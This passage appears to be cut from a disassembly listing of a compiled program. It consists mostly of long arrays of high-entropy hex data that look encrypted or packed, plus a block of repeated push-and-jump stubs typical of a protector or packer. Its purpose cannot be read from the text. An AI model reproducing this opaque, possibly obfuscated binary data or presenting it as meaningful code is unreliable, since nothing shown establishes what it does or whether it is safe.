0F967FF4Fh, 0C58D81Bh, 6E471274h, 0CE318BDCh, 0A7477CFEh dd 0E99469DAh, 0E430B00Ah, 0CA54DE4Ch, 78511CE6h, 0E99795E6h dd 7DE17AD4h, 439110EBh, 22A6815Fh, 18B0FE7Dh, 0FF4220AAh dd 638E3280h, 0B008773Bh, 23985E0h, 51CE0000h, 61E41BFFh dd 8200371Bh, 95174E32h, 0B332694Dh, 0E1CC8165h, 0EBCF1D9Ch dd 8EC30B4h, 220650D1h, 3B1F6BEBh, 49A4F543h, 0B17CF8E4h dd 0F06F3DDEh, 787BEA2h, 0DC0CD7BBh, 55A63811h, 7CFEF1D7h dd 1359DCA1h, 0EB830D7Bh, 0FEF043A6h, 9CEA697Ch, 6DB13504h dd 0F97C67D5h, 0C94C1BB3h, 107DEB83h, 0DBB6335Bh, 2A86DA02h dd 9FFBCE6Bh, 125h, 0E2BB772Dh, 4BCE5D31h, 0EF6F966Dh dd 0BD3C0BA3h, 772DC533h, 0C8BBA3Eh, 12AA34BEh, 4E2CE69Ch dd 5771A3A0h, 0C5A3E96Ch, 0D633280Ch, 3682027Ah, 9D48C9A4h dd 0CB39D11Dh, 49276341h, 327776C7h, 1F837AD6h, 327EFE41h dd 946D389Ah, 5BA72702h, 8D7755C3h, 0FE1C603Ch, 0B333F87Ch dd 7D00CF67h, 3F23AD37h, 3FD1AA75h, 7DA32889h, 0AB19B1FDh dd 3EBAC8E5h, 72F47660h, 0FF3DCA21h, 85E8397Ch, 0F57CFF3Dh dd 0AF2FF491h, 0D35DCB63h, 9F533CF5h, 83E77AD5h, 499716F1h dd 2BAC8765h, 0FDDB49E1h, 49ED3BBAh, 87867B2h, 184AA575h dd 0AD000001h, 0C3FADE30h, 0DF16FA40h, 0F62D1161h, 11482C74h dd 0AB604492h, 0B0FE7D02h, 0CD1195CCh, 0E731B2E9h, 4CCC03h dd 85D6241Ch, 7CF8E766h, 0C81EBF92h, 3013BC12h, 0C4A243F6h dd 22B40281h, 0E57DC547h, 7F5D9977h, 0FF41ACFDh, 55B97AD6h dd 60B43477h, 0D6FFDC0Fh, 97D6277Ah, 0E37AD6FFh, 937EE27Fh dd 0C02EC614h, 99745236h, 94849119h, 9E6AEA36h, 300E7C14h dd 0A3EF6F59h, 0FBC3C0Bh, 28BA448Eh, 0E981CD4Dh, 97619D7Bh dd 1061F3CCh, 7CFB1DA3h, 0DCAB43A7h, 4E2C105Ch, 1C707BCCh dd 24887CFBh, 6A68F25Eh, 331183E5h, 0CB1C70F0h, 7CFBC5A0h dd 52EA74D8h, 0B06CB20Dh, 93E9681Dh, 0AE2F2B42h, 61EB4F1Dh dd 3078FAC9h, 98C01998h, 0FDD8A411h, 8154327Ch, 77FF7F59h dd 812AC6BCh, 12FAB9D6h, 2A78E6ACh, 0AAFC3274h, 28C741Ch dd 0DD5D9478h, 0A82AF991h, 0F445C860h, 0EA6A45CCh, 0BA98069Eh dd 0C7ABF777h, 2CC41090h, 0AD1h, 0BE3E1900h, 8E6CDA72h dd 6FB56CB7h, 3908A0F2h, 6D56DB9h, 0D4A33B85h, 0A5740C50h dd 7140D826h, 3D0CA4F2h, 0CDB73BBh, 0D7A63E8Eh, 0ED760E54h dd 1E7C68h, 242C8900h, 69B468h, 24348900h, 81E38953h, 4C3h dd 4EB8300h, 5C241C87h, 68241C89h, 3AFh, 0B8240489h, 71BB059Fh dd 8D0CAF2Dh, 58C6896Bh, 161368h, 24248900h, 4240481h dd 5B000000h, 8B850h, 0D8010000h, 48B3089h, 4C48324h, 50241C8Bh dd 405E089h, 83000000h, 48704C0h, 348B5C24h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 4060E95Ch, 1FDBFFFBh dd 0FFB85E5Bh, 3062E03h, 82E0FFC5h, 1F02A5B6h, 0F82E3D60h dd 0EB4BFFCEh, 5960CCCAh, 0FD71C843h, 334CD59h, 16538313h dd 8D32CD74h, 2E05918Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 89A0AD3Dh, 2807158Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 12A9A9FEh, 54FB5BAAh, 81663337h, 0C799A1F2h dd 2821BD85h, 708406h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 3996ABA6h, 0E997472Eh dd 0C2BB0DD9h, 89290448h, 280849BDh, 99BD8B06h, 0C7062832h dd 28113D85h, 6, 0DB50300h, 89062821h, 2807C5B5h, 45B5FF06h dd 6A06281Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 7584C352h, 425FE4EBh, 0FF1473BEh dd 2814D995h, 6AC68B06h, 6595FF00h, 8B062804h, 1468EBC0h dd 0F6EC19A3h, 0A48CC1Fh, 0B2C51CA6h, 0B87043F0h, 4518081Bh dd 23E42FF4h, 0B957863Bh, 326C5F6Eh, 0C2375D03h, 7139A374h dd 0B0739AA4h, 2E049393h, 0D1C6E24h, 50160E6Bh, 45DA41B9h dd 8C1B2CBEh, 7211729Dh, 9554E1DDh, 9BFB40F7h, 0FB683753h dd 85F74023h, 7FCD8E12h, 0B91486E6h, 0A510A3FDh, 1641DD92h dd 0E924A331h, 0E0h, 3324B4E8h, 0CA459CD7h, 0B6E1C8C3h dd 0A7ACABDAh, 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h dd 0B1F46BB2h, 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h dd 0B799603Ah, 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh dd 4E0097B1h, 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h dd 0F653F545h, 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h dd 756BBF97h, 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h dd 9EBD9492h, 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh dd 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h dd 47000000h, 0E3129D74h, 5E99E0h, 0Ah dup(0) ; --------------------------------------------------------------------------- jmp loc_5AAF4D ; --------------------------------------------------------------------------- push 62E08D2h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E09CAh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0AADh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0BCFh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0C7Ch jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0D1Fh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0DC9h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0E58h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E0F2Dh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E1071h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E1175h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E12FDh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E141Ch jmp loc_551321 ; --------------------------------------------------------------------------- push 62E1556h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E167Dh jmp loc_551321 ; --------------------------------------------------------------------------- push 62E18B6h jmp loc_551321 ; --------------------------------------------------------------------------- push 62E19ADh jmp loc_551321 ; --------------------------------------------------------------------------- db 4Eh dd 60A877Dh, 0B9BD3A38h, 6A6EEBEDh, 2125A298h, 0D6D95654h dd 6E6C3988h, 241EEDF1h, 0D6D8A3A7h, 8B855559h, 0F258E80Eh dd 795D942Ah, 0E0067B4Eh, 3DF11610h, 0D1076D6Dh, 637F7393h dd 0ABCF3BA1h, 8673BB61h, 0B3D4685Ch, 857F4F75h, 22E47860h dd 0C28C5A4Fh, 0E9D1F6F4h, 10765E83h, 0AA533EA4h, 9355755Bh dd 0A9A67A6Eh, 0DB21795Bh, 65D4A522h, 3BE2C159h, 0F000000h dd 980421F4h, 5BBEAB32h, 0E60BCD75h, 5B862EF2h, 0E08D879h dd 6B6535E9h, 0C5C79246h, 0F355B8A0h, 0C90F803Ah, 44E69310h dd 0D6D0C159h, 28000000h, 0B2BA62C8h, 0FCBE795Bh, 46A62D68h dd 739338E0h, 0E67A3C7Fh, 21464010h, 7DA2A06Dh, 0DAFFF9C9h dd 0F05C5626h, 0D8FDFFCAh, 0F73B5CF0h, 7F738E0Fh, 0AC2923F3h dd 7D7B486Eh, 7D4313E9h, 0A38BB0B2h, 0DBABD13Dh, 372AB1E1h dd 6EA616B6h, 9E7111DAh, 7BE1D7A9h, 5506A90Fh, 0B078755Bh dd 5B54924Ah, 4C8CF279h, 0E8795B54h, 46AC6E26h, 0DD06D9C9h dd 0E9770B71h, 4B0D7375h, 0EEECB9DFh, 9CA06D71h, 20FEE636h dd 34049273h, 6ED43Ah, 0B40F78D1h, 8C0BC29Dh, 0E000012h dd 0C6CA473Dh, 797DFAF8h, 2A2EABADh, 0E1E56258h, 96991614h dd 2E2CF9C8h, 0E4DEADB1h, 96986367h, 4B451519h, 0B218A8CEh dd 795D9B6Ah, 0E0C63B0Eh, 807A4913h, 900D735Bh, 45C2BC8Ch dd 0B782A6DCh, 0C117CBEAh, 6E410397h, 0E8B3D945h, 0DC4252E6h dd 755B0A7Dh, 6B319FC3h, 577C7E49h, 0E3D83F6Fh, 0FCBE1AAEh dd 0F5C3E9D7h, 0F9F7C5F7h, 138D4F65h, 0B0F6795Bh, 0AEFF7AF7h dd 0C1B7C159h, 0F000000h, 0F81D1BE9h, 557A7444h, 3873076Dh dd 502046A6h, 9334E456h, 7E407F73h, 4A4414EAh, 0A6A47125h dd 8E618D81h, 0B9897F73h, 6E3E42BFh, 0DCAF4F74h, 59254BB7h dd 0DE443257h, 7F73963Eh, 7E12783Ah, 95A5086Eh, 15D7755Bh dd 0B9B383A9h, 41140425h, 4352B824h, 65737539h, 441137A3h dd 2B8BC946h, 213917C5h, 0CB5F2173h, 0BC2A28F5h, 0B40EBFAFh dd 94BD744Fh, 16000011h, 0CED24F45h, 81850200h, 3236B3B5h dd 0E9ED6A60h, 9EA11E1Ch, 363401F0h, 0ECE6B5B9h, 9EA06B6Fh dd 534D1D21h, 0BA20B0D6h, 795D9A62h, 0A6CE4316h, 8F7B0382h dd 50EAAAB2h, 469CCC27h, 0E0B64AD1h, 94981513h, 0E44DCAC4h dd 0F11610E0h, 7736D3Dh, 4CAAB8E3h, 936128B3h, 22887095h dd 9D696D8Eh, 0F2C2769Bh, 0EE7C7BF8h, 46B2D3A6h, 0F6F0C0E6h dd 3F55E9D1h, 755BDC78h, 8C4CB27Ah, 30795BF4h, 8BA4590Ah dd 8B4D054Fh, 0A0739925h, 6C62D5E1h, 0AA107C99h, 88E9D9A3h dd 47A713D5h, 0A9093BE1h, 0E77B3D7Ch, 8AAB7E1Eh, 0FEDCB81Eh dd 34C07684h, 90AB37FBh, 3CA80E8Fh, 0E04C4616h, 0CDF2E8BAh dd 2C3051E5h, 26F65C5Ch, 5275759Eh, 9EF4248Ah, 0BE807575h dd 8184F258h, 0DB25A18h, 10B17B32h, 62330000h, 1DEBEF6Ch dd 0D29EA21Fh, 7D4F53D0h, 39060A87h, 0EFBBBE3Bh, 0D653511Eh dd 8C0903D2h, 3EBBBD88h, 0F3706A3Ah, 1D73DCDh, 33795D99h dd 10E0EB60h, 9372AA10h, 3D8E7F73h, 27A36D9Ch, 9E3BC77Fh dd 0E4656A0h, 0CDF258BEh, 0CD395A2Dh, 5B060867h, 2BA86A75h dd 0DF4B683Bh, 8D8B597Fh, 0D6EC8068h, 737321FFh, 3E325719h dd 7323279Ah, 69E69FE5h, 0C781E310h, 35A6h, 21F4D300h dd 40329804h, 24755B44h, 5D0F662h, 9C428603h, 0EC795BC3h dd 24C7EAC8h, 0D76B70F5h, 0BA373101h, 7DE3EBB6h, 795BB75Fh dd 8CB117D9h, 1002D5h, 21F4DC00h, 41F5B13Ah, 23898A11h dd 57DD51B7h, 73FF7521h, 71C8999Ch, 950167B0h, 0AD99F6Fh dd 10767844h, 0FFD103EBh, 2226A309h, 93335852h, 0D137A3C0h dd 730F4708h, 82845076h, 64D092EEh, 8746E3Eh, 0F11614E2h dd 50547509h, 0F61A8680h, 0ECBE4DAAh, 0B9E9D1F6h, 0BB4FCA6Bh dd 567F52F2h, 7B2584EAh, 8D4F7907h, 0D8FD161Fh, 0CC39EAAh dd 0F8Fh, 0CD4A4011h, 80FDFBC9h, 31AEB07Ch, 0E8655B2Dh dd 9C1917E4h, 2FFCCD99h, 0E1B0B431h, 9B666AE7h, 48181C99h dd 1BABD14Eh, 5D9867B5h, 0C93E1179h, 0B7B180A6h, 93B8BA85h dd 0DF0117ABh, 0FB7F7393h, 74723F28h, 1E42A20Eh, 670A2070h dd 1B31C5E9h, 752106F6h, 1012DE6Ch, 319D03EBh, 0A1713F0Bh dd 341C41A7h, 9A6A90A0h, 420E34A0h, 0FA691B40h, 336226CDh dd 2748DC42h, 34595323h, 6D8C194h, 167C7244h, 7F9D03F1h dd 0F9795DA2h, 0FF6BD137h, 3D93F9Fh, 35795DA2h, 0AAC9DF73h dd 0CC7375B3h, 57ED9C0Ah, 3611B40Ah, 0EE27Fh, 9D936400h dd 504E1C20h, 103CFD3h, 0B8AE8084h, 6C6A373Bh, 4FBEECEFh dd 3078482h, 0B9BD3A34h, 6B6FECEEh, 0FE24A19Bh, 9FD0086Eh dd 9164795Dh, 4C10E01Ch, 171F1907h, 0D503692Bh, 5F7F73D3h dd 0ACD1379Dh, 0C22E28F8h, 5EAF2C9Eh, 42D664FEh, 0B1D5E179h dd 0C60E49E2h, 0A0A9E32h, 85A5D451h, 0F11BB31h, 3E000009h dd 980421F4h, 218D1232h, 1C9EC275h, 0EF3CAE96h, 0BA48A438h dd 1C88EEECh, 0AF2C26F6h, 0BCE1DBABh, 5D0E14C8h, 0C6EFC279h dd 1F9DF45Ah, 35F77375h, 0ABBBAC7h, 0A05732B4h, 0E3Fh dd 7DFAF0C1h, 30ADAB79h, 0E15E602Ch, 98150BDDh, 4CC9C794h dd 0DFAC1D49h, 916064E1h, 4B161A97h, 0F8C8CC49h, 0CB5B81FEh dd 5D9EB765h, 79EEC179h, 0F11610E0h, 0D9A76D3Dh, 0D704B6DBh dd 0CFE96FA8h, 1581E74Dh, 0FC2123EFh, 1FB78014h, 8CED6A23h dd 2ABB31F0h, 87Ah, 0B480A657h, 0D4081EB2h, 27F7393h, 349A062Fh dd 75218D5Ch, 0AA0A7638h, 0CD6DBD86h, 0D165268Dh, 0B4312BFBh dd 0BB1CE0B0h, 0EDBDCB00h, 5C68F121h, 48A0F0F8h, 0A9CFBDE2h dd 8A4CE0DAh, 0BC228EB7h, 737556A5h, 0E48FFDBFh, 0F0B40AF0h dd 0D955E15h, 46170000h, 1CFD350h, 0B6828603h, 613337B4h dd 1DEAEE6Bh, 0F39FA21Fh, 0BA373502h, 70EDE7B6h, 229FA16Ch dd 0D7544E1Eh, 1DBB21B1h, 17795D9Eh, 10E0CF44h, 6D3DF116h dd 0FE10773h, 780CF419h, 621B17AFh, 312B94E5h, 7DC22BBh dd 0A64F0000h, 5B422782h, 760AA4B4h, 58C4E1B4h, 214BBFF2h dd 0B31FE175h, 46C3BD8Dh, 53787242h, 5D5FBD5Fh, 5D865979h dd 6C6D91F1h, 6C1AFC19h, 354C62F6h, 4F7375B2h, 574E1F8Dh dd 9B76B40Ah, 0D06E4h, 0C1B78800h, 74724044h, 2527F3F7h dd 0DCD2A4A8h, 908E5B5Fh, 73421013h, 272BA8A6h, 0DDE15E58h dd 8F931012h, 2248C5BFh, 9DEC2C92h, 0B588795Dh, 1610E040h dd 832C86AAh, 0F5181F5Eh, 84AA9861h, 5026BAB4h, 0AD618680h dd 6BADFE1h, 0A99F7137h, 11369C84h, 4C06BF37h, 4813A36h dd 0BB31AF75h, 73541h, 79A06E00h, 957F7393h, 307D5C2h dd 73937F9Dh, 0D137F97Fh, 0F25EC4ACh, 0CCC3292h, 0B07F7393h dd 1A8E8560h, 0A0621A8Ah, 75ECF60Ch, 7C087521h, 379D19ADh dd 795DE0E1h, 0EAA1D193h, 8EFA6089h, 219E9868h, 0E7534D1Dh dd 464D8EC3h, 0EF830C21h, 92B38626h, 0B860C626h, 0BC795DCAh dd 0F05666FAh, 7375DDE9h, 84DB490Bh, 28B40A7Dh, 0C31964Dh dd 0E2B30000h, 9D6B6FECh, 521E229Fh, 0FDCFD350h, 0B9868A07h dd 6F3B3EBBh, 56D3D19Eh, 0C898352h, 0BE3B3D08h, 73F0EABAh dd 8157BD4Dh, 0B3795D9Ch, 82A66BE0h, 0B67C8DC6h, 30069A22h dd 22FA6060h, 567F73C9h, 7D7665CAh, 0AE14163Eh, 9F6F2348h dd 0FFCC80A5h, 5628DC01h, 0F3573B60h, 9D3B803Ah, 948E5EE4h dd 835D1C17h dd 4359BB31h, 86000001h, 0B2B480A6h, 7E78481Eh, 0DBD5A559h dd 7A9B6E5Eh, 0BA88AE0Eh, 71228BCh, 75755B92h, 5C81834Fh dd 0B5DADCA8h, 77D367CDh, 542349B5h, 0FFDC65Ah, 0F91E1CE9h dd 11777945h, 91B5677Dh, 0C80E795Bh, 2DE7920Fh, 3BCFC159h dd 0FC000000h, 980421F4h, 5BBEAB32h, 0B3F51975h, 0F9F3C30Eh dd 34B1B6C9h, 153A3002h, 7B3D992Dh, 5ABE6256h, 0C309795Bh dd 0F8EC8D0Ah, 9ECAC159h, 22000000h, 45BC5CC2h, 0F6B8795Bh dd 82A62762h, 5FB213A0h, 0F3C95D0Ch, 50042923h, 0AC608583h dd 9BDE2DCh, 0ADD33F39h, 2F50E4DEh, 73F933EBh, 0D73D9D7Fh dd 7F731901h, 7DD7133h, 0D0C03D37h, 66CD8FDh, 755DBA99h dd 476DD99Bh, 0FBFF7C7Ah, 0F9C2302Eh, 5BE7738h, 0AED732Ah dd 9E6F0000h, 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch, 754246C3h dd 0ABF7FA77h, 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h, 2FACA676h dd 0C5137909h, 6F795D83h, 46A6279Ch, 739338E0h, 0E67A3C7Fh dd 0C8454310h, 7DFAF4C4h, 1610E014h, 0F54E86AAh, 223FEFCh dd 793869D2h, 5BEF5E0Bh, 140EDE92h, 65335997h, 69CFCD9Bh dd 0D66A6C37h, 515FDh, 80A60400h, 181AE6B4h, 80A50BF3h dd 6F420498h, 8174DA46h, 0F3755B8Ch, 74999765h, 0D01268Ch dd 795B94CBh, 38B56EB4h, 0C1593641h, 26075h, 46A6A200h dd 739338E0h, 0E67A3C7Fh, 73930BD0h, 7F4F757Fh, 0E4786085h dd 0BA264F22h, 9B69345Ah, 0C5ADD2CCh, 0D7B5CB5Fh, 0C175218Dh dd 9D6D93FFh, 522226A3h, 268CEC58h, 795D95F6h, 0BE8EC082h dd 23B79FC4h, 0F4E7BA5Ah, 600B7B5Bh, 0EC58BE79h, 756D9786h dd 8C15A173h, 36C51CE5h, 54E755BBh, 20B40A59h, 9E98E45h dd 9A6B0000h, 552327A4h, 0AD6DA57h, 0B5878B08h, 713E42BFh dd 0A7F3F673h, 0E8B8956h, 0C4413B0Ah, 76F3F5C0h, 2BA8A272h dd 0C90F7505h, 6B795D82h, 10E02398h, 6D3DF116h, 35E30773h dd 0FCA4CF5Ch, 43686A36h, 9861F55Bh, 0BA7A33D1h, 0A3E51796h dd 0F78B5E13h, 0DA575121h, 316C9ADFh, 1971CBBh, 0E0490000h dd 3DF11610h, 6F6736Dh, 76A60C33h, 27F7393h, 463C0E40h dd 67D33921h, 937BA107h, 3BFD7F73h, 263197A7h, 48755B92h dd 0AB6D6186h, 53795B91h, 0AE628785h, 0BBFE4DEh, 78DC3E40h dd 4E9405BFh, 2D611895h, 0D131C159h, 5B99AD6Bh, 837D4D79h dd 30BE765Eh, 6AFE6462h, 457Eh, 21F4AB00h, 1DD0E53Ah, 399F67A3h dd 93F067CDh, 0EE4E755Bh, 5BD15088h, 0A2986A79h, 4FDD957Dh dd 755D8284h, 5D1F7B0Fh, 0D1904438h, 0A5EB795Bh, 34062CECh dd 3EA4A672h, 0D09D3119h, 0C15971A9h, 0C70Dh, 10E03A00h dd 167C7E4Ah, 0B8B684AAh, 1214DF93h, 614F18ACh, 0D0FDB01h dd 73937D9Bh, 335F77Fh, 2D153A34h, 0F8F6C399h, 554F1FD3h dd 0E6AC7C30h, 1CEA1C16h, 0AB11F91Eh, 4D4B193Fh, 8A5498B9h dd 0F67F7340h, 0E10600D0h, 0BF8F65F9h, 855848C5h, 0C024F45Ah dd 8E507F73h, 0C956BC28h, 0EB755D63h, 0CA97BD29h, 0DC0060CCh dd 6F1A4FECh, 0BD5BCDC5h, 0B7795944h, 3C4061F5h, 0BA03716Fh dd 32BE76CDh, 861A057h, 12E30000h, 0CD9B9F1Ch, 824E52CFh dd 2DFF0380h, 0E9B6BA37h, 3F6B6EEBh, 860301CEh, 3CB9B382h dd 0EE6B6D38h, 0A3201AEAh, 5187ED7Dh, 0E3795D81h, 13E09B10h dd 6785A915h, 69A221CFh, 3F4364F8h, 8FF8756Fh, 0AA1610E0h dd 984A0286h, 3D090A73h, 0C82E163Bh, 0E7B76B34h, 135B81E7h dd 1BDD7F73h, 8F3138B5h, 63000002h, 4BDCB13Fh, 44D848D6h dd 421F409h, 0AD23898h, 2E7F7393h, 716B3A6Ch, 0DB67CDDDh dd 1975218Ch, 9A3E3257h, 0E5795D94h, 0A09A698Fh, 0FFFF937Bh dd 36B0C946h, 2406C15Fh, 33000002h, 73937BA0h, 0A3C0937Fh dd 8C69D137h, 0FD8B7521h, 260E332Dh, 5E2E54C0h, 6AD0C698h dd 1F19E9EDh, 0C8E80CFAh, 8A845467h, 184D7D65h, 44069A23h dd 0BDBB8871h, 0DE44B098h, 795DFB3Eh, 0A612783Ah, 0D4998282h dd 5D5AAE6Eh, 0D808CA79h, 1F51F077h, 0ADBD5153h, 75265047h dd 0B888AE73h, 358E01F4h, 0BB218DA1h, 0BE1AAE96h, 944890F6h dd 2AEC7325h, 1DF756C4h, 0A07BB40Ah, 742E9h, 0FDF3C400h dd 0B0AE7C80h, 61632F33h, 180EE0E4h, 0CCCA979Bh, 0AF1E4C4Fh dd 6367E4E2h, 191D9A94h, 0CBCF4C4Eh, 5E8401FBh, 87B068CEh dd 0F1C4795Dh, 4C10E07Ch, 0CA3C973h, 0D539B8B8h, 6325F8Fh dd 42B6494h, 556479DBh, 4616CAEFh, 4DB3B580h, 0AC36128h dd 3DBAB484h, 31553742h, 6E375BBBh, 5F747E93h, 3C503CD0h dd 7D000001h, 7D4A10E0h, 40F4197Fh, 16D8AA70h, 0C1E64C46h dd 6F673D9h, 40A61233h, 755B9255h, 7C709557h, 795B9158h dd 0A724DD23h, 0C1592DD2h, 0CCCE9AC0h, 0A9CECC9Ah, 2C412DC1h dd 6E000000h, 980421F4h, 5BBEAB32h, 0E60BCD75h, 5B862EF2h dd 1D439979h, 0BCBC5052h, 501D4303h, 0B1452D52h, 594495E4h dd 0B621C1h, 0E04E0000h, 0B37D4A10h, 0DDC5EAE4h, 38EC1177h dd 94486D6Bh, 0B83600C4h, 862A5648h, 0EE54BAB8h, 4B4515C9h dd 59AC8ACEh, 0BC1C7F73h, 73298656h, 5CF0B27Fh, 3FBCB686h dd 0EB577C4Fh, 17C52B8Bh, 217F7329h, 28B5CB5Fh, 4A755D8Ah dd 96BC1C88h, 0CC9CCEC4h, 31C5ADD2h, 13908E5Bh, 0D644420Fh dd 0BE77477Dh, 85F16F1h, 8A000006h, 4246C3B9h, 0F5F97674h dd 0A6AA2729h, 5D61DED4h, 12159290h, 0AAA87544h, 605A292Dh dd 1214DFE3h, 0C7C19195h, 2E94244Ah, 795D86EEh, 0E042B78Ah dd 5A981513h, 0D66A6434h, 8D6C3000h, 681B9953h, 8F4DB31Fh dd 0A97F73B9h, 9B0481E7h, 0F11610E0h, 0F6736D3Dh, 41EFh dd 99FD2100h, 0CF0D7321h, 697F73D2h, 853877A7h, 0E03F7A0Eh dd 3F11610h, 0ED1210DDh, 466B6D39h, 69C8F85Eh, 0A8875DAh dd 3000D66Ah, 0BF371136h, 0B6B08006h, 5C52244Ah, 9ABB4F37h dd 2693h, 10E09A00h, 5A7F7D4Ah, 0F3E70C72h, 7F739320h dd 0E66C25C7h, 68B01616h, 947F7393h, 8033F883h, 8446FEB2h dd 0E038A11Eh, 51F11610h, 83E9557Eh, 75218C03h, 0DD036F31h dd 71A70D0Dh, 3795D94h, 5A5EDB41h, 0CB6B908Ah, 41430FF8h dd 0D0096FDBh, 62730F8Ah, 0F49546D6h, 0EB1DF623h, 16FE2319h dd 4E1E44B0h, 3D3D754h, 4B70723Dh, 38D8FD63h, 6ED44065h dd 7907DDDFh, 0CD0B7139h, 676DF71Dh, 56D13FA5h, 0E2AAD894h dd 4E15007h, 92630000h, 4D1B1F9Ch, 2CED24Fh, 0AD7F8300h dd 69363AB7h, 0BFEBEE6Bh, 683814Eh, 0BC393302h, 6EEBEDB8h dd 23A09A6Ah, 0D1076DFDh, 63795D85h, 10E01B90h, 0C5959916h dd 92B8A6CBh, 0BBA3C8C2h, 0BB815127h, 19CBF0EEh, 0C5673659h dd 55BB2143h, 12CB6930h, 26F6BC8Ch, 73988E60h, 42BF258Bh dd 31783247h, 6E3A60BBh, 38ECD86Ch, 19000000h, 980421F4h dd 5B444032h, 0F6622475h, 0A5A37096h, 2E049880h, 0A0E46163h dd 795BC37Eh, 4EB4B484h, 795BC38Eh, 582E8AAh, 0C8343601h dd 42D6D4A2h, 43DC279h, 0A6C90000h, 9338E046h, 7A3C7F73h dd 3D9DA54Ah, 962AD4A8h, 0D1F6F0C0h, 0D6534D1Dh, 0AD23898h dd 2E7F7323h, 4316D86Ch, 21878756h, 7F7323FBh, 3055BB7Dh dd 1076E248h, 755B2205h, 99F96527h, 5B21E533h, 0A775DB79h dd 0D1795B21h, 195570Fh, 84EA4A38h, 795B2154h, 2116C62Ch dd 6022795Bh, 3C52E6A8h, 795B2198h, 34595322h, 83B5B380h dd 0B095BAB4h dd 6ADB954Eh, 8E4EB414h, 0AA795B21h, 0E9EBB6E8h, 1F9C5555h dd 0C159DD5Ah, 0AA72D838h, 0CE795B29h, 468C780Ch, 0E4000000h dd 29FE1E84h, 0B87A795Bh, 21F4E924h, 934098FEh, 66F47F73h dd 8E769B99h, 0F056C228h, 755BBE69h, 0B0A4C98Bh, 795B876Ch dd 0A4C9CB96h, 895B21F0h, 2E082D93h, 0D243FDB6h, 2356D38Ch dd 93C15943h, 0F5h, 1610E0C0h, 34E44AAAh, 407F7393h, 6D21EA7Eh dd 1236A2A0h, 7A35557Dh, 9B64F8C4h, 0F81D17E7h, 5012E40Ah dd 7B63887Eh, 0D608F015h, 0FEE60B09h, 0FEC4946Ah, 260E3331h dd 0F7FF43C0h, 0FB7F735Eh, 0B0B4312Bh, 21C1E6E0h, 53B9254Eh dd 755B7034h, 0A309C5Eh, 87A83C3Eh, 3399C497h, 795A90E5h dd 0C99BCD8Fh, 60C6AED3h, 0CE3494F4h, 795A900Eh, 96FC682Ah dd 795A9046h, 869C30F2h, 73742E17h, 2935496Dh, 0F0201AE9h dd 329EFC9Ah, 201D0CCCh, 0D2662873h, 2248B476h, 0D6DA5755h dd 799F0509h, 0FB73201Dh, 7A9FA16Dh, 58C62C92h, 0B40F94D7h dd 0A8CD845Fh, 2A000002h, 0E2E66359h, 95991614h, 464AC7C9h dd 0FD017E74h, 0B2B53230h, 4A4815E4h, 0FAC9CDh, 0B2B47F83h dd 67613135h, 0CE34C4EAh, 795D8B0Eh, 0A6E2572Ah, 1EB2B480h dd 7D7B48h, 0B5322CFCh, 3A21F44Ch, 45F0D1C2h, 0E1379D6Ch dd 937F73BCh, 6B396BD1h, 3B9B076Dh, 264B4515h, 594AA3Eh dd 2F755B91h, 8054486Dh, 3A795BD7h, 974B706Ah, 0F4A8CDC7h dd 1E062B25h, 0E59F58BCh, 0F8752E74h, 0C1597381h, 0B935h dd 10E06200h, 0BC902A4Ch, 0BF8E5676h, 8DF95FC5h, 2F959967h dd 7F738FE9h, 3E63C98Bh, 45F9C256h, 61557A78h, 7F739295h dd 0BF5DC323h, 0B97F73B2h, 0BD8D63F7h, 724246C3h, 7BE1DFACh dd 0C2E3B656h, 8499F056h, 2147755Bh, 472F5456h, 0FBC957B3h dd 2A1A97FDh, 5CC22E57h, 73757E1Eh, 2289456h, 0B6BA3735h dd 0F67DEBE9h, 7AB40EE8h, 1B1E89Fh, 62330000h, 1DEBEF6Ch dd 0D29EA21Fh, 7D4F53D0h, 39060A87h, 0EFBBBE3Bh, 0D653511Eh dd 8C0903D2h, 3EBBBD88h, 0F3706A3Ah, 1D73DCDh, 33795D8Ah dd 13E0EB60h, 0C4949815h, 9681BC00h, 7372E830h, 9ACA8C7Fh dd 0AB11D73Bh, 80A6C52Eh, 0A58DB2B4h, 0A56B3B11h, 0FEB2D7D9h dd 230B3032h, 7E3257BDh, 0F937B4AEh, 6D3D03D3h, 664E73h dd 895FF3DBh, 0FA9ABFB9h, 2C92FE27h, 755B8B3Dh, 0BC709557h dd 595322F0h, 4A1ACEF3h, 0E4462B50h, 0DAD8A52Bh, 0DD962A74h dd 218D8757h, 9ABD5BC1h, 0F5B7795Bh, 7D504061h, 0DB86EC58h dd 5D7373B3h, 0F2C2769Bh, 3D625C2Ch, 0F0CAEF55h, 7A4DBF78h dd 0DC87ED59h, 0AA790B98h, 93B8B684h, 2DBB17ABh, 7CF95F61h dd 42A8A878h, 6D0BA89Ah, 0A35B5524h, 0E90F7BE1h, 0C18A1E1Ch dd 976420Dh, 